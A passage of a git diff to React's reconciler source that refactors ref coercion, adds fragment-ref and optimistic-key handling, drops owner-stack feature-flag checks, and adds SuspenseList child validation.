+            fiber._debugInfo = currentDebugInfo;
+          }
           fiber.return = returnFiber;
         }
         runWithFiberInDEV(
           fiber,
           erroredKey => {
-            console.error(
-              'Invalid prop `%s` supplied to `React.Fragment`. ' +
-                'React.Fragment can only have `key` and `children` props.',
-              erroredKey,
-            );
+            if (enableFragmentRefs) {
+              console.error(
+                'Invalid prop `%s` supplied to `React.Fragment`. ' +
+                  'React.Fragment can only have `key`, `ref`, and `children` props.',
+                erroredKey,
+              );
+            } else {
+              console.error(
+                'Invalid prop `%s` supplied to `React.Fragment`. ' +
+                  'React.Fragment can only have `key` and `children` props.',
+                erroredKey,
+              );
+            }
           },
           key,
         );
         break;
       }
     }
-
-    if (!enableRefAsProp && element.ref !== null) {
-      if (fiber === null) {
-        // For unkeyed root fragments there's no Fiber. We create a fake one just for
-        // error stack handling.
-        fiber = createFiberFromElement(element, returnFiber.mode, 0);
-        fiber.return = returnFiber;
-      }
-      runWithFiberInDEV(fiber, () => {
-        console.error('Invalid attribute `ref` supplied to `React.Fragment`.');
-      });
-    }
   }
 }
 
@@ -260,30 +288,17 @@ function unwrapThenable<T>(thenable: Thenable<T>): T {
   return trackUsedThenable(thenableState, thenable, index);
 }
 
-function coerceRef(
-  returnFiber: Fiber,
-  current: Fiber | null,
-  workInProgress: Fiber,
-  element: ReactElement,
-): void {
-  let ref;
-  if (enableRefAsProp) {
-    // TODO: This is a temporary, intermediate step. When enableRefAsProp is on,
-    // we should resolve the `ref` prop during the begin phase of the component
-    // it's attached to (HostComponent, ClassComponent, etc).
-    const refProp = element.props.ref;
-    ref = refProp !== undefined ? refProp : null;
-  } else {
-    // Old behavior.
-    ref = element.ref;
-  }
-
-  // TODO: If enableRefAsProp is on, we shouldn't use the `ref` field. We
+function coerceRef(workInProgress: Fiber, element: ReactElement): void {
+  // TODO: This is a temporary, intermediate step. Now that enableRefAsProp is on,
+  // we should resolve the `ref` prop during the begin phase of the component
+  // it's attached to (HostComponent, ClassComponent, etc).
+  const refProp = element.props.ref;
+  // TODO: With enableRefAsProp now rolled out, we shouldn't use the `ref` field. We
   // should always read the ref from the prop.
-  workInProgress.ref = ref;
+  workInProgress.ref = refProp !== undefined ? refProp : null;
 }
 
-function throwOnInvalidObjectType(returnFiber: Fiber, newChild: Object) {
+function throwOnInvalidObjectTypeImpl(returnFiber: Fiber, newChild: Object) {
   if (newChild.$$typeof === REACT_LEGACY_ELEMENT_TYPE) {
     throw new Error(
       'A React Element from an older version of React was rendered. ' +
@@ -308,7 +323,18 @@ function throwOnInvalidObjectType(returnFiber: Fiber, newChild: Object) {
   );
 }
 
-function warnOnFunctionType(returnFiber: Fiber, invalidChild: Function) {
+function throwOnInvalidObjectType(returnFiber: Fiber, newChild: Object) {
+  const debugTask = getCurrentDebugTask();
+  if (__DEV__ && debugTask !== null) {
+    debugTask.run(
+      throwOnInvalidObjectTypeImpl.bind(null, returnFiber, newChild),
+    );
+  } else {
+    throwOnInvalidObjectTypeImpl(returnFiber, newChild);
+  }
+}
+
+function warnOnFunctionTypeImpl(returnFiber: Fiber, invalidChild: Function) {
   if (__DEV__) {
     const parentName = getComponentNameFromFiber(returnFiber) || 'Component';
 
@@ -345,7 +371,16 @@ function warnOnFunctionType(returnFiber: Fiber, invalidChild: Function) {
   }
 }
 
-function warnOnSymbolType(returnFiber: Fiber, invalidChild: symbol) {
+function warnOnFunctionType(returnFiber: Fiber, invalidChild: Function) {
+  const debugTask = getCurrentDebugTask();
+  if (__DEV__ && debugTask !== null) {
+    debugTask.run(warnOnFunctionTypeImpl.bind(null, returnFiber, invalidChild));
+  } else {
+    warnOnFunctionTypeImpl(returnFiber, invalidChild);
+  }
+}
+
+function warnOnSymbolTypeImpl(returnFiber: Fiber, invalidChild: symbol) {
   if (__DEV__) {
     const parentName = getComponentNameFromFiber(returnFiber) || 'Component';
 
@@ -373,13 +408,13 @@ function warnOnSymbolType(returnFiber: Fiber, invalidChild: symbol) {
   }
 }
 
-function resolveLazy(lazyType: any) {
-  if (__DEV__) {
-    return callLazyInitInDEV(lazyType);
+function warnOnSymbolType(returnFiber: Fiber, invalidChild: symbol) {
+  const debugTask = getCurrentDebugTask();
+  if (__DEV__ && debugTask !== null) {
+    debugTask.run(warnOnSymbolTypeImpl.bind(null, returnFiber, invalidChild));
+  } else {
+    warnOnSymbolTypeImpl(returnFiber, invalidChild);
   }
-  const payload = lazyType._payload;
-  const init = lazyType._init;
-  return init(payload);
 }
 
 type ChildReconciler = (
@@ -431,18 +466,33 @@ function createChildReconciler(
 
   function mapRemainingChildren(
     currentFirstChild: Fiber,
-  ): Map<string | number, Fiber> {
+  ): Map<string | number | ReactOptimisticKey, Fiber> {
     // Add the remaining children to a temporary map so that we can find them by
     // keys quickly. Implicit (null) keys get added to this set with their index
     // instead.
-    const existingChildren: Map<string | number, Fiber> = new Map();
+    const existingChildren: Map<
+      | string
+      | number
+      // This type is only here for the case when enableOptimisticKey is disabled.
+      // Remove it after it ships.
+      | ReactOptimisticKey,
+      Fiber,
+    > = new Map();
 
     let existingChild: null | Fiber = currentFirstChild;
     while (existingChild !== null) {
-      if (existingChild.key !== null) {
-        existingChildren.set(existingChild.key, existingChild);
-      } else {
+      if (existingChild.key === null) {
         existingChildren.set(existingChild.index, existingChild);
+      } else if (
+        enableOptimisticKey &&
+        existingChild.key === REACT_OPTIMISTIC_KEY
+      ) {
+        // For optimistic keys, we store the negative index (minus one) to differentiate
+        // them from the regular indices. We'll look this up regardless of what the new
+        // key is, if there's no other match.
+        existingChildren.set(-existingChild.index - 1, existingChild);
+      } else {
+        existingChildren.set(existingChild.key, existingChild);
       }
       existingChild = existingChild.sibling;
     }
@@ -508,6 +558,9 @@ function createChildReconciler(
       const created = createFiberFromText(textContent, returnFiber.mode, lanes);
       created.return = returnFiber;
       if (__DEV__) {
+        // We treat the parent as the owner for stack purposes.
+        created._debugOwner = returnFiber;
+        created._debugTask = returnFiber._debugTask;
         created._debugInfo = currentDebugInfo;
       }
       return created;
@@ -537,6 +590,9 @@ function createChildReconciler(
         lanes,
         element.key,
       );
+      if (enableFragmentRefs) {
+        coerceRef(updated, element);
+      }
       validateFragmentProps(element, updated, returnFiber);
       return updated;
     }
@@ -558,7 +614,7 @@ function createChildReconciler(
       ) {
         // Move based on index
         const existing = useFiber(current, element.props);
-        coerceRef(returnFiber, current, existing, element);
+        coerceRef(existing, element);
         existing.return = returnFiber;
         if (__DEV__) {
           existing._debugOwner = element._owner;
@@ -569,7 +625,7 @@ function createChildReconciler(
     }
     // Insert
     const created = createFiberFromElement(element, returnFiber.mode, lanes);
-    coerceRef(returnFiber, current, created, element);
+    coerceRef(created, element);
     created.return = returnFiber;
     if (__DEV__) {
       created._debugInfo = currentDebugInfo;
@@ -599,6 +655,10 @@ function createChildReconciler(
     } else {
       // Update
       const existing = useFiber(current, portal.children || []);
+      if (enableOptimisticKey) {
+        // If the old key was optimistic we need to now save the real one.
+        existing.key = portal.key;
+      }
       existing.return = returnFiber;
       if (__DEV__) {
         existing._debugInfo = currentDebugInfo;
@@ -612,7 +672,7 @@ function createChildReconciler(
     current: Fiber | null,
     fragment: Iterable<React$Node>,
     lanes: Lanes,
-    key: null | string,
+    key: ReactKey,
   ): Fiber {
     if (current === null || current.tag !== Fragment) {
       // Insert
@@ -624,12 +684,19 @@ function createChildReconciler(
       );
       created.return = returnFiber;
       if (__DEV__) {
+        // We treat the parent as the owner for stack purposes.
+        created._debugOwner = returnFiber;
+        created._debugTask = returnFiber._debugTask;
         created._debugInfo = currentDebugInfo;
       }
       return created;
     } else {
       // Update
       const existing = useFiber(current, fragment);
+      if (enableOptimisticKey) {
+        // If the old key was optimistic we need to now save the real one.
+        existing.key = key;
+      }
       existing.return = returnFiber;
       if (__DEV__) {
         existing._debugInfo = currentDebugInfo;
@@ -659,6 +726,9 @@ function createChildReconciler(
       );
       created.return = returnFiber;
       if (__DEV__) {
+        // We treat the parent as the owner for stack purposes.
+        created._debugOwner = returnFiber;
+        created._debugTask = returnFiber._debugTask;
         created._debugInfo = currentDebugInfo;
       }
       return created;
@@ -672,7 +742,7 @@ function createChildReconciler(
             returnFiber.mode,
             lanes,
           );
-          coerceRef(returnFiber, null, created, newChild);
+          coerceRef(created, newChild);
           created.return = returnFiber;
           if (__DEV__) {
             const prevDebugInfo = pushDebugInfo(newChild._debugInfo);
@@ -695,14 +765,7 @@ function createChildReconciler(
         }
         case REACT_LAZY_TYPE: {
           const prevDebugInfo = pushDebugInfo(newChild._debugInfo);
-          let resolvedChild;
-          if (__DEV__) {
-            resolvedChild = callLazyInitInDEV(newChild);
-          } else {
-            const payload = newChild._payload;
-            const init = newChild._init;
-            resolvedChild = init(payload);
-          }
+          const resolvedChild = resolveLazy((newChild: any));
           const created = createChild(returnFiber, resolvedChild, lanes);
           currentDebugInfo = prevDebugInfo;
           return created;
@@ -723,6 +786,10 @@ function createChildReconciler(
         );
         created.return = returnFiber;
         if (__DEV__) {
+          // We treat the parent as the owner for stack purposes.
+          created._debugOwner = returnFiber;
+          created._debugTask = returnFiber._debugTask;
+          // Make sure to not push again when handling the Fragment child.
           const prevDebugInfo = pushDebugInfo(newChild._debugInfo);
           created._debugInfo = currentDebugInfo;
           currentDebugInfo = prevDebugInfo;
@@ -801,7 +868,13 @@ function createChildReconciler(
     if (typeof newChild === 'object' && newChild !== null) {
       switch (newChild.$$typeof) {
         case REACT_ELEMENT_TYPE: {
-          if (newChild.key === key) {
+          if (
+            // If the old child was an optimisticKey, then we'd normally consider that a match,
+            // but instead, we'll bail to return null from the slot which will bail to slow path.
+            // That's to ensure that if the new key has a match elsewhere in the list, then that
+            // takes precedence over assuming the identity of an optimistic slot.
+            newChild.key === key
+          ) {
             const prevDebugInfo = pushDebugInfo(newChild._debugInfo);
             const updated = updateElement(
               returnFiber,
@@ -816,7 +889,13 @@ function createChildReconciler(
           }
         }
         case REACT_PORTAL_TYPE: {
-          if (newChild.key === key) {
+          if (
+            // If the old child was an optimisticKey, then we'd normally consider that a match,
+            // but instead, we'll bail to return null from the slot which will bail to slow path.
+            // That's to ensure that if the new key has a match elsewhere in the list, then that
+            // takes precedence over assuming the identity of an optimistic slot.
+            newChild.key === key
+          ) {
             return updatePortal(returnFiber, oldFiber, newChild, lanes);
           } else {
             return null;
@@ -824,14 +903,7 @@ function createChildReconciler(
         }
         case REACT_LAZY_TYPE: {
           const prevDebugInfo = pushDebugInfo(newChild._debugInfo);
-          let resolvedChild;
-          if (__DEV__) {
-            resolvedChild = callLazyInitInDEV(newChild);
-          } else {
-            const payload = newChild._payload;
-            const init = newChild._init;
-            resolvedChild = init(payload);
-          }
+          const resolvedChild = resolveLazy((newChild: any));
           const updated = updateSlot(
             returnFiber,
             oldFiber,
@@ -907,7 +979,7 @@ function createChildReconciler(
   }
 
   function updateFromMap(
-    existingChildren: Map<string | number, Fiber>,
+    existingChildren: Map<string | number | ReactOptimisticKey, Fiber>,
     returnFiber: Fiber,
     newIdx: number,
     newChild: any,
@@ -936,7 +1008,11 @@ function createChildReconciler(
           const matchedFiber =
             existingChildren.get(
               newChild.key === null ? newIdx : newChild.key,
-            ) || null;
+            ) ||
+            (enableOptimisticKey &&
+              // If the existing child was an optimistic key, we may still match on the index.
+              existingChildren.get(-newIdx - 1)) ||
+            null;
           const prevDebugInfo = pushDebugInfo(newChild._debugInfo);
           const updated = updateElement(
             returnFiber,
@@ -951,19 +1027,16 @@ function createChildReconciler(
           const matchedFiber =
             existingChildren.get(
               newChild.key === null ? newIdx : newChild.key,
-            ) || null;
+            ) ||
+            (enableOptimisticKey &&
+              // If the existing child was an optimistic key, we may still match on the index.
+              existingChildren.get(-newIdx - 1)) ||
+            null;
           return updatePortal(returnFiber, matchedFiber, newChild, lanes);
         }
         case REACT_LAZY_TYPE: {
           const prevDebugInfo = pushDebugInfo(newChild._debugInfo);
-          let resolvedChild;
-          if (__DEV__) {
-            resolvedChild = callLazyInitInDEV(newChild);
-          } else {
-            const payload = newChild._payload;
-            const init = newChild._init;
-            resolvedChild = init(payload);
-          }
+          const resolvedChild = resolveLazy((newChild: any));
           const updated = updateFromMap(
             existingChildren,
             returnFiber,
@@ -1080,14 +1153,7 @@ function createChildReconciler(
           });
           break;
         case REACT_LAZY_TYPE: {
-          let resolvedChild;
-          if (__DEV__) {
-            resolvedChild = callLazyInitInDEV((child: any));
-          } else {
-            const payload = child._payload;
-            const init = (child._init: any);
-            resolvedChild = init(payload);
-          }
+          const resolvedChild = resolveLazy((child: any));
           warnOnInvalidKey(
             returnFiber,
             workInProgress,
@@ -1256,14 +1322,22 @@ function createChildReconciler(
           );
         }
         if (shouldTrackSideEffects) {
-          if (newFiber.alternate !== null) {
+          const currentFiber = newFiber.alternate;
+          if (currentFiber !== null) {
             // The new fiber is a work in progress, but if there exists a
             // current, that means that we reused the fiber. We need to delete
             // it from the child list so that we don't add it to the deletion
             // list.
-            existingChildren.delete(
-              newFiber.key === null ? newIdx : newFiber.key,
-            );
+            if (
+              enableOptimisticKey &&
+              currentFiber.key === REACT_OPTIMISTIC_KEY
+            ) {
+              existingChildren.delete(-newIdx - 1);
+            } else {
+              existingChildren.delete(
+                currentFiber.key === null ? newIdx : currentFiber.key,
+              );
+            }
           }
         }
         lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);
@@ -1550,14 +1624,22 @@ function createChildReconciler(
           );
         }
         if (shouldTrackSideEffects) {
-          if (newFiber.alternate !== null) {
+          const currentFiber = newFiber.alternate;
+          if (currentFiber !== null) {
             // The new fiber is a work in progress, but if there exists a
             // current, that means that we reused the fiber. We need to delete
             // it from the child list so that we don't add it to the deletion
             // list.
-            existingChildren.delete(
-              newFiber.key === null ? newIdx : newFiber.key,
-            );
+            if (
+              enableOptimisticKey &&
+              currentFiber.key === REACT_OPTIMISTIC_KEY
+            ) {
+              existingChildren.delete(-newIdx - 1);
+            } else {
+              existingChildren.delete(
+                currentFiber.key === null ? newIdx : currentFiber.key,
+              );
+            }
           }
         }
         lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);
@@ -1604,6 +1686,12 @@ function createChildReconciler(
     deleteRemainingChildren(returnFiber, currentFirstChild);
     const created = createFiberFromText(textContent, returnFiber.mode, lanes);
     created.return = returnFiber;
+    if (__DEV__) {
+      // We treat the parent as the owner for stack purposes.
+      created._debugOwner = returnFiber;
+      created._debugTask = returnFiber._debugTask;
+      created._debugInfo = currentDebugInfo;
+    }
     return created;
   }
 
@@ -1618,12 +1706,22 @@ function createChildReconciler(
     while (child !== null) {
       // TODO: If key === null and child.key === null, then this only applies to
       // the first item in the list.
-      if (child.key === key) {
+      if (
+        child.key === key ||
+        (enableOptimisticKey && child.key === REACT_OPTIMISTIC_KEY)
+      ) {
         const elementType = element.type;
         if (elementType === REACT_FRAGMENT_TYPE) {
           if (child.tag === Fragment) {
             deleteRemainingChildren(returnFiber, child.sibling);
             const existing = useFiber(child, element.props.children);
+            if (enableOptimisticKey) {
+              // If the old key was optimistic we need to now save the real one.
+              existing.key = key;
+            }
+            if (enableFragmentRefs) {
+              coerceRef(existing, element);
+            }
             existing.return = returnFiber;
             if (__DEV__) {
               existing._debugOwner = element._owner;
@@ -1650,7 +1748,11 @@ function createChildReconciler(
           ) {
             deleteRemainingChildren(returnFiber, child.sibling);
             const existing = useFiber(child, element.props);
-            coerceRef(returnFiber, child, existing, element);
+            if (enableOptimisticKey) {
+              // If the old key was optimistic we need to now save the real one.
+              existing.key = key;
+            }
+            coerceRef(existing, element);
             existing.return = returnFiber;
             if (__DEV__) {
               existing._debugOwner = element._owner;
@@ -1675,15 +1777,21 @@ function createChildReconciler(
         lanes,
         element.key,
       );
+      if (enableFragmentRefs) {
+        coerceRef(created, element);
+      }
       created.return = returnFiber;
       if (__DEV__) {
+        // We treat the parent as the owner for stack purposes.
+        created._debugOwner = returnFiber;
+        created._debugTask = returnFiber._debugTask;
         created._debugInfo = currentDebugInfo;
       }
       validateFragmentProps(element, created, returnFiber);
       return created;
     } else {
       const created = createFiberFromElement(element, returnFiber.mode, lanes);
-      coerceRef(returnFiber, currentFirstChild, created, element);
+      coerceRef(created, element);
       created.return = returnFiber;
       if (__DEV__) {
         created._debugInfo = currentDebugInfo;
@@ -1703,7 +1811,10 @@ function createChildReconciler(
     while (child !== null) {
       // TODO: If key === null and child.key === null, then this only applies to
       // the first item in the list.
-      if (child.key === key) {
+      if (
+        child.key === key ||
+        (enableOptimisticKey && child.key === REACT_OPTIMISTIC_KEY)
+      ) {
         if (
           child.tag === HostPortal &&
           child.stateNode.containerInfo === portal.containerInfo &&
@@ -1711,6 +1822,10 @@ function createChildReconciler(
         ) {
           deleteRemainingChildren(returnFiber, child.sibling);
           const existing = useFiber(child, portal.children || []);
+          if (enableOptimisticKey) {
+            // If the old key was optimistic we need to now save the real one.
+            existing.key = key;
+          }
           existing.return = returnFiber;
           return existing;
         } else {
@@ -1744,17 +1859,19 @@ function createChildReconciler(
     // not as a fragment. Nested arrays on the other hand will be treated as
     // fragment nodes. Recursion happens at the normal flow.
 
-    // Handle top level unkeyed fragments as if they were arrays.
-    // This leads to an ambiguity between <>{[...]}</> and <>...</>.
+    // Handle top level unkeyed fragments without refs (enableFragmentRefs)
+    // as if they were arrays. This leads to an ambiguity between <>{[...]}</> and <>...</>.
     // We treat the ambiguous cases above the same.
     // We don't use recursion here because a fragment inside a fragment
     // is no longer considered "top level" for these purposes.
-    const isUnkeyedTopLevelFragment =
+    const isUnkeyedUnrefedTopLevelFragment =
       typeof newChild === 'object' &&
       newChild !== null &&
       newChild.type === REACT_FRAGMENT_TYPE &&
-      newChild.key === null;
-    if (isUnkeyedTopLevelFragment) {
+      newChild.key === null &&
+      (enableFragmentRefs ? newChild.props.ref === undefined : true);
+
+    if (isUnkeyedUnrefedTopLevelFragment) {
       validateFragmentProps(newChild, null, returnFiber);
       newChild = newChild.props.children;
     }
@@ -1786,14 +1903,7 @@ function createChildReconciler(
           );
         case REACT_LAZY_TYPE: {
           const prevDebugInfo = pushDebugInfo(newChild._debugInfo);
-          let result;
-          if (__DEV__) {
-            result = callLazyInitInDEV(newChild);
-          } else {
-            const payload = newChild._payload;
-            const init = newChild._init;
-            result = init(payload);
-          }
+          const result = resolveLazy((newChild: any));
           const firstChild = reconcileChildFibersImpl(
             returnFiber,
             currentFirstChild,
@@ -1806,26 +1916,26 @@ function createChildReconciler(
       }
 
       if (isArray(newChild)) {
-        const prevDebugInfo = pushDebugInfo(newChild._debugInfo);
+        // We created a Fragment for this child with the debug info.
+        // No need to push again.
         const firstChild = reconcileChildrenArray(
           returnFiber,
           currentFirstChild,
           newChild,
           lanes,
         );
-        currentDebugInfo = prevDebugInfo;
         return firstChild;
       }
 
       if (getIteratorFn(newChild)) {
-        const prevDebugInfo = pushDebugInfo(newChild._debugInfo);
+        // We created a Fragment for this child with the debug info.
+        // No need to push again.
         const firstChild = reconcileChildrenIteratable(
           returnFiber,
           currentFirstChild,
           newChild,
           lanes,
         );
-        currentDebugInfo = prevDebugInfo;
         return firstChild;
       }
 
@@ -1833,14 +1943,14 @@ function createChildReconciler(
         enableAsyncIterableChildren &&
         typeof newChild[ASYNC_ITERATOR] === 'function'
       ) {
-        const prevDebugInfo = pushDebugInfo(newChild._debugInfo);
+        // We created a Fragment for this child with the debug info.
+        // No need to push again.
         const firstChild = reconcileChildrenAsyncIteratable(
           returnFiber,
           currentFirstChild,
           newChild,
           lanes,
         );
-        currentDebugInfo = prevDebugInfo;
         return firstChild;
       }
 
@@ -1940,6 +2050,7 @@ function createChildReconciler(
     } catch (x) {
       if (
         x === SuspenseException ||
+        x === SuspenseActionException ||
         (!disableLegacyMode &&
           (returnFiber.mode & ConcurrentMode) === NoMode &&
           typeof x === 'object' &&
@@ -1961,23 +2072,21 @@ function createChildReconciler(
       throwFiber.return = returnFiber;
       if (__DEV__) {
         const debugInfo = (throwFiber._debugInfo = currentDebugInfo);
-        // Conceptually the error's owner/task should ideally be captured when the
-        // Error constructor is called but neither console.createTask does this,
-        // nor do we override them to capture our `owner`. So instead, we use the
-        // nearest parent as the owner/task of the error. This is usually the same
-        // thing when it's thrown from the same async component but not if you await
-        // a promise started from a different component/task.
+        // Conceptually the error's owner should ideally be captured when the
+        // Error constructor is called but we don't override them to capture our
+        // `owner`. So instead, we use the nearest parent as the owner/task of the
+        // error. This is usually the same thing when it's thrown from the same
+        // async component but not if you await a promise started from a different
+        // component/task.
+        // In newer Chrome, Error constructor does capture the Task which is what
+        // is logged by reportError. In that case this debugTask isn't used.
         throwFiber._debugOwner = returnFiber._debugOwner;
-        if (enableOwnerStacks) {
-          throwFiber._debugTask = returnFiber._debugTask;
-        }
+        throwFiber._debugTask = returnFiber._debugTask;
         if (debugInfo != null) {
           for (let i = debugInfo.length - 1; i >= 0; i--) {
             if (typeof debugInfo[i].stack === 'string') {
               throwFiber._debugOwner = (debugInfo[i]: any);
-              if (enableOwnerStacks) {
-                throwFiber._debugTask = debugInfo[i].task;
-              }
+              throwFiber._debugTask = debugInfo[i].debugTask;
               break;
             }
           }
@@ -2038,3 +2147,106 @@ export function resetChildFibers(workInProgress: Fiber, lanes: Lanes): void {
     child = child.sibling;
   }
 }
+
+function validateSuspenseListNestedChild(childSlot: mixed, index: number) {
+  if (__DEV__) {
+    const isAnArray = isArray(childSlot);
+    const isIterable =
+      !isAnArray && typeof getIteratorFn(childSlot) === 'function';
+    const isAsyncIterable =
+      enableAsyncIterableChildren &&
+      typeof childSlot === 'object' &&
+      childSlot !== null &&
+      typeof (childSlot: any)[ASYNC_ITERATOR] === 'function';
+    if (isAnArray || isIterable || isAsyncIterable) {
+      const type = isAnArray
+        ? 'array'
+        : isAsyncIterable
+          ? 'async iterable'
+          : 'iterable';
+      console.error(
+        'A nested %s was passed to row #%s in <SuspenseList />. Wrap it in ' +
+          'an additional SuspenseList to configure its revealOrder: ' +
+          '<SuspenseList revealOrder=...> ... ' +
+          '<SuspenseList revealOrder=...>{%s}</SuspenseList> ... ' +
+          '</SuspenseList>',
+        type,
+        index,
+        type,
+      );
+      return false;
+    }
+  }
+  return true;
+}
+
+export function validateSuspenseListChildren(
+  children: mixed,
+  revealOrder: SuspenseListRevealOrder,
+) {
+  if (__DEV__) {
+    if (
+      (revealOrder == null ||
+        revealOrder === 'forwards' ||
+        revealOrder === 'backwards' ||
+        revealOrder === 'unstable_legacy-backwards') &&
+      children !== undefined &&
+      children !== null &&
+      children !== false
+    ) {
+      if (isArray(children)) {
+        for (let i = 0; i < children.length; i++) {
+          if (!validateSuspenseListNestedChild(children[i], i)) {
+            return;
+          }
+        }
+      } else {
+        const iteratorFn = getIteratorFn(children);
+        if (typeof iteratorFn === 'function') {
+          const childrenIterator = iteratorFn.call(children);
+          if (childrenIterator) {
+            let step = childrenIterator.next();
+            let i = 0;
+            for (; !step.done; step = childrenIterator.next()) {
+              if (!validateSuspenseListNestedChild(step.value, i)) {
+                return;
+              }
+              i++;
+            }
+          }
+        } else if (
+          enableAsyncIterableChildren &&
+          typeof (children: any)[ASYNC_ITERATOR] === 'function'
+        ) {
+          // TODO: Technically we should warn for nested arrays inside the
+          // async iterable but it would require unwrapping the array.
+          // However, this mistake is not as easy to make so it's ok not to warn.
+        } else if (
+          enableAsyncIterableChildren &&
+          children.$$typeof === REACT_ELEMENT_TYPE &&
+          typeof children.type === 'function' &&
+          // $FlowFixMe
+          (Object.prototype.toString.call(children.type) ===
+            '[object GeneratorFunction]' ||
+            // $FlowFixMe
+            Object.prototype.toString.call(children.type) ===
+              '[object AsyncGeneratorFunction]')
+        ) {
+          console.error(
+            'A generator Component was passed to a <SuspenseList revealOrder="%s" />. ' +
+              'This is not supported as a way to generate lists. Instead, pass an ' +
+              'iterable as the children.',
+            revealOrder,
+          );
+        } else {
+          console.error(
+            'A single row was passed to a <SuspenseList revealOrder="%s" />. ' +
+              'This is not useful since it needs multiple rows. ' +
+              'Did you mean to pass multiple children or an array?',
+            revealOrder,
+          );
+        }
+      }
+    }
+  }
+}
diff --git a/packages/react-reconciler/src/ReactCurrentFiber.js b/packages/react-reconciler/src/ReactCurrentFiber.js
index fd2b4e7d8029..88d0e28512d3 100644
--- a/packages/react-reconciler/src/ReactCurrentFiber.js
+++ b/packages/react-reconciler/src/ReactCurrentFiber.js
@@ -10,12 +10,8 @@
 import type {Fiber} from './ReactInternalTypes';
 
 import ReactSharedInternals from 'shared/ReactSharedInternals';
-import {
-  getStackByFiberInDevAndProd,
-  getOwnerStackByFiberInDev,
-} from './ReactFiberComponentStack';
+import {getOwnerStackByFiberInDev} from './ReactFiberComponentStack';
 import {getComponentNameFromOwner} from 'react-reconciler/src/getComponentNameFromFiber';
-import {enableOwnerStacks} from 'shared/ReactFeatureFlags';
 
 export let current: Fiber | null = null;
 export let isRendering: boolean = false;
@@ -33,18 +29,7 @@ export function getCurrentFiberOwnerNameInDevOrNull(): string | null {
   return null;
 }
 
-export function getCurrentParentStackInDev(): string {
-  // This is used to get the parent stack even with owner stacks turned on.
-  if (__DEV__) {
-    if (current === null) {
-      return '';
-    }
-    return getStackByFiberInDevAndProd(current);
-  }
-  return '';
-}
-
-function getCurrentFiberStackInDev(stack: Error): string {
+function getCurrentFiberStackInDev(): string {
   if (__DEV__) {
     if (current === null) {
       return '';
@@ -53,10 +38,7 @@ function getCurrentFiberStackInDev(stack: Error): string {
     // and it is guaranteed to be the work-in-progress version.
     // TODO: The above comment is not actually true. We might be
     // in a commit phase or preemptive set state callback.
-    if (enableOwnerStacks) {
-      return getOwnerStackByFiberInDev(current, stack);
-    }
-    return getStackByFiberInDevAndProd(current);
+    return getOwnerStackByFiberInDev(current);
   }
   return '';
 }
@@ -74,16 +56,14 @@ export function runWithFiberInDEV<A0, A1, A2, A3, A4, T>(
     const previousFiber = current;
     setCurrentFiber(fiber);
     try {
-      if (enableOwnerStacks) {
-        if (fiber !== null && fiber._debugTask) {
-          return fiber._debugTask.run(
-            callback.bind(null, arg0, arg1, arg2, arg3, arg4),
-          );
-        }
+      if (fiber !== null && fiber._debugTask) {
+        return fiber._debugTask.run(
+          callback.bind(null, arg0, arg1, arg2, arg3, arg4),
+        );
       }
       return callback(arg0, arg1, arg2, arg3, arg4);
     } finally {
-      current = previousFiber;
+      setCurrentFiber(previousFiber);
     }
   }
   // These errors should never make it into a build so we don't need to encode them in codes.json
diff --git a/packages/react-reconciler/src/ReactFiber.js b/packages/react-reconciler/src/ReactFiber.js
index 28cd65dbb3c0..7ab798ea22bc 100644
--- a/packages/react-reconciler/src/ReactFiber.js
+++ b/packages/react-reconciler/src/ReactFiber.js
@@ -8,17 +8,25 @@
  */
 
 import type {ReactElement} from 'shared/ReactElementType';
-import type {ReactFragment, ReactPortal, ReactScope} from 'shared/ReactTypes';
+import type {
+  ReactFragment,
+  ReactPortal,
+  ReactScope,
+  ViewTransitionProps,
+  ActivityProps,
+  ReactKey,
+} from 'shared/ReactTypes';
 import type {Fiber} from './ReactInternalTypes';
 import type {RootTag} from './ReactRootTags';
 import type {WorkTag} from './ReactWorkTags';
 import type {TypeOfMode} from './ReactTypeOfMode';
 import type {Lanes} from './ReactFiberLane';
-import type {SuspenseInstance} from './ReactFiberConfig';
+import type {ActivityInstance, SuspenseInstance} from './ReactFiberConfig';
 import type {
+  LegacyHiddenProps,
   OffscreenProps,
-  OffscreenInstance,
-} from './ReactFiberActivityComponent';
+} from './ReactFiberOffscreenComponent';
+import type {ViewTransitionState} from './ReactFiberViewTransitionComponent';
 import type {TracingMarkerInstance} from './ReactFiberTracingMarkerComponent';
 
 import {
@@ -31,14 +39,12 @@ import {
   enableProfilerTimer,
   enableScopeAPI,
   enableLegacyHidden,
-  forceConcurrentByDefaultForTesting,
-  allowConcurrentByDefault,
   enableTransitionTracing,
-  enableDebugTracing,
-  enableDO_NOT_USE_disableStrictPassiveEffect,
-  enableRenderableContext,
   disableLegacyMode,
-  enableOwnerStacks,
+  enableObjectFiber,
+  enableViewTransition,
+  enableSuspenseyImages,
+  enableOptimisticKey,
 } from 'shared/ReactFeatureFlags';
 import {NoFlags, Placement, StaticMask} from './ReactFiberFlags';
 import {ConcurrentRoot} from './ReactRootTags';
@@ -68,8 +74,9 @@ import {
   LegacyHiddenComponent,
   TracingMarkerComponent,
   Throw,
+  ViewTransitionComponent,
+  ActivityComponent,
 } from './ReactWorkTags';
-import {OffscreenVisible} from './ReactFiberActivityComponent';
 import {getComponentNameFromOwner} from 'react-reconciler/src/getComponentNameFromFiber';
 import {isDevToolsPresent} from './ReactFiberDevToolsHook';
 import {
@@ -81,20 +88,16 @@ import {NoLanes} from './ReactFiberLane';
 import {
   NoMode,
   ConcurrentMode,
-  DebugTracingMode,
   ProfileMode,
   StrictLegacyMode,
   StrictEffectsMode,
-  ConcurrentUpdatesByDefaultMode,
-  NoStrictPassiveEffectsMode,
+  SuspenseyImagesMode,
 } from './ReactTypeOfMode';
 import {
   REACT_FORWARD_REF_TYPE,
   REACT_FRAGMENT_TYPE,
-  REACT_DEBUG_TRACING_MODE_TYPE,
   REACT_STRICT_MODE_TYPE,
   REACT_PROFILER_TYPE,
-  REACT_PROVIDER_TYPE,
   REACT_CONTEXT_TYPE,
   REACT_CONSUMER_TYPE,
   REACT_SUSPENSE_TYPE,
@@ -102,16 +105,13 @@ import {
   REACT_MEMO_TYPE,
   REACT_LAZY_TYPE,
   REACT_SCOPE_TYPE,
-  REACT_OFFSCREEN_TYPE,
   REACT_LEGACY_HIDDEN_TYPE,
   REACT_TRACING_MARKER_TYPE,
   REACT_ELEMENT_TYPE,
+  REACT_VIEW_TRANSITION_TYPE,
+  REACT_ACTIVITY_TYPE,
 } from 'shared/ReactSymbols';
